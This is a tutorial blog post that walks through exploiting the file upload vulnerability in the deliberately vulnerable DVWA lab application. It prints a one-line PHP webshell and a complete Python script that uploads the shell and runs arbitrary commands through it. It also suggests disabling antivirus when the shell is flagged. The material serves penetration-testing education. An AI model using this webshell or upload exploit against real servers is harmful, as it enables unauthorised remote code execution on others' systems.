How To Write A Python Exploit For File Upload Vulnerability In DVWA At A Low Level

In the realm of cybersecurity, understanding how vulnerabilities can be exploited is essential for both defenders and ethical hackers. One such vulnerability often encountered is the file upload vulnerability. In this article, we delve into the intricacies of crafting a Python exploit specifically designed to target the file upload vulnerability present in the Damn Vulnerable Web Application (DVWA) at a low level.

Mastering the art of crafting exploits empowers security professionals to identify weaknesses in systems and applications, thereby fortifying them against potential threats. Through a step-by-step exploration of creating a Python-based exploit, we aim to demystify the process, making it accessible to those looking to deepen their penetration testing skills.

Whether you're a cybersecurity enthusiast, an aspiring ethical hacker, or a developer striving to secure your applications, this article equips you with the knowledge to comprehend, strategize, and develop exploits that shed light on critical security loopholes.

DVWA

DVWA stands for "Damn Vulnerable Web Application," which can literally be translated as "Vulnerable Web Application, Darn!" It is a web application intentionally designed to have various security vulnerabilities. Its purpose is to provide a learning platform for cybersecurity professionals, ethical hackers, and developers to understand, identify, and address common vulnerabilities that occur in web applications.

DVWA was created as an educational tool that allows users to safely conduct penetration testing in a controlled environment. It contains a range of security vulnerabilities, including SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), file upload vulnerabilities, and many more. By using DVWA, users can learn how these attacks can occur, their impacts, and how to protect applications from such attacks.

DVWA features are typically categorized into various difficulty levels, ranging from very easy to higher levels. This enables users to practice and enhance their skills gradually. DVWA is also frequently used in cybersecurity training and penetration testing courses.

However, it's important to remember that DVWA should be used solely for educational and learning purposes. Conducting penetration testing on other systems or applications without explicit permission is illegal and unethical.

Tutorial

  1. First, assuming you have installed the DVWA environment and started the web server.
  2. Log in and change the DVWA security settings to low :
  3. Let's navigate to the file upload section.
  4. For the beginning of the scenario, we know that if we change the security settings to low, the DVWA application system will accept all files in the upload button without performing validation. When the author uploads a PHP file, the application will accept that file :
  5. In a real-life case study, if we are developing a web application and there is a file upload feature, it should be mandatory to validate that only specific file extensions are allowed. If not, this will lead to a file upload vulnerability that allows attackers to upload malicious files and will result in remote code execution.
  6. Now, to create an exploit, create a folder named exploit to facilitate our tutorial.
  7. Open your IDE.
  8. But wait, we need a PHP webshell where we will send this webshell to the local server. Create a webshell.php and save it in the previously created folder. The webshell is just one line :
  9. <?php system($_GET['cmd']); ?>

    - This PHP code allows an attacker to execute system commands on the server by passing the command as a parameter in the URL query string using the "cmd" parameter. It's a simple form of remote command execution, where an attacker can control and execute arbitrary commands on the server where this code is running. It's a dangerous security vulnerability if not properly secured. If you are using the Windows operating system and receive a warning about a detected malware when saving the PHP file, simply temporarily disable your antivirus.

  10. Then, create main.py for python file and save it in the previously created folder too.
  11. Here is the python code :
  12. import requests
    
    URL = "http://localhost/dvwa/vulnerabilities/upload/"
            
    cookie={
            "PHPSESSID":"impeijl7bi8fip1fvi6vq93k9t",
            "security":"low"
            }
    
    files = {
            "MAX_FILE_SIZE": (None,"100000"),
            "uploaded": open("webshell.php","r"),
            "Upload":(None,"Upload"),
            }
    
    session = requests.Session()
        
    req = session.post(URL,cookies=cookie,files=files)
    
    if(req.text.find("succesfully")!=-1):
        print ("[+] Successfully sending backdoor \n")
    
        while True:
            exec_param = input("$execute > ")
            exec_url = f"http://localhost/dvwa/hackable/uploads/webshell.php?cmd={exec_param}"
    
            res = session.get(exec_url,cookies=cookie)
    
            print(res.text)
    
    else:
        print ("[-] Failed to sending backdoor \n")

    Here's a step-by-step explanation of the provided Python code:

    Importing The Requests Library:
    import requests

    - The code begins by importing the requests library. This library enables the Python script to make HTTP requests to a server. Make sure you have installed the requests library. If you haven't, execute the command below in your terminal:

    pip install requests

    Target Server URL:
    URL = "http://localhost/dvwa/vulnerabilities/upload/"

    - The URL of the target server for the attack is stored in the URL variable. In this case, the target is http://localhost/dvwa/vulnerabilities/upload/, which represents the file upload endpoint in the DVWA application.

    Cookie Configuration:
    cookie={
            "PHPSESSID":"impeijl7bi8fip1fvi6vq93k9t",
            "security":"low"
            }

    - Cookies are pieces of information remembered by a server and used in subsequent HTTP requests to identify a session. The required cookies for authentication are provided in the form of a dictionary in the cookie variable.

    Files Payload:
    files = {
            "MAX_FILE_SIZE": (None,"100000"),
            "uploaded": open("webshell.php","r"),
            "Upload":(None,"Upload"),
            }

    - The attack payload in the form of a file to be uploaded is prepared as a dictionary in the files variable. The payload consists of three parts.

    - MAX_FILE_SIZE sending the maximum allowed file size value.

    - uploaded sending the webshell.php file that has been opened in read mode ("r").

    - Upload indicating that this is the button to upload the file.

    Creating A Session:
    session = requests.Session()

    A session object (session) is created using requests.Session(). This allows maintaining session-related information, like cookies, across different requests.

    Sending A POST Request:
    req = session.post(URL,cookies=cookie,files=files)

    A POST request to upload the webshell file is made using session.post(). The required data, including the target URL, cookies, and file payload, is passed into the request. The result of the request is stored in the req variable.

    Checking For Success:
    if(req.text.find("succesfully")!=-1):
        print ("[+] Successfully sending backdoor \n")

    The result of the POST request is checked to determine if the upload was successful. This is done by searching for the word "successfully" within the response text (req.text). If the word is found successfully sending backdoor is printed.

    Execution Loop:
    while True:
            exec_param = input("$execute > ")

    - If the upload is successful, the script enters a while True loop, allowing the user to input execution commands. These commands will be sent via a URL to the uploaded webshell on the target server.

    Fetching Execution Results:
    exec_url = f"http://localhost/dvwa/hackable/uploads/webshell.php?cmd={exec_param}"
    
    res = session.get(exec_url,cookies=cookie)
    
    print(res.text)

    - The results of the execution commands are retrieved from the response received after accessing a URL containing the cmd parameter with the entered command. The execution result is printed.

    Failure Conclusion:
    else:
        print ("[-] Failed to sending backdoor \n")

    - If the upload fails, the script prints the message failed to sending backdoor.

  13. Result :
  14. Done. The author is using the Windows operating system. If you are using Linux or macOS, please use the appropriate command for your operating system.

Closing

In this article, we have explored the step-by-step process of creating an exploitation using Python for a file upload vulnerability in DVWA with a low security level. While this discussion is intended for educational and understanding purposes, it's important to remember that observing ethical and legal principles in the cybersecurity realm is a must.

By comprehending the workings and potential of such vulnerabilities, we can better prepare ourselves to safeguard our own systems and contribute to the overall cybersecurity efforts. It's crucial to always approach security research with care and with the necessary permissions.

In an increasingly digitally connected world, collaborative efforts to secure systems and protect privacy have become more critical than ever. With the right knowledge, we can play a significant role in creating a safer and more dependable cyber environment for everyone.

Additionally, the author has a community that focuses on software development, networking, and cybersecurity. They have created a tool specifically designed for DVWA file upload vulnerabilities. You can visit its official documentation at github de technocrats.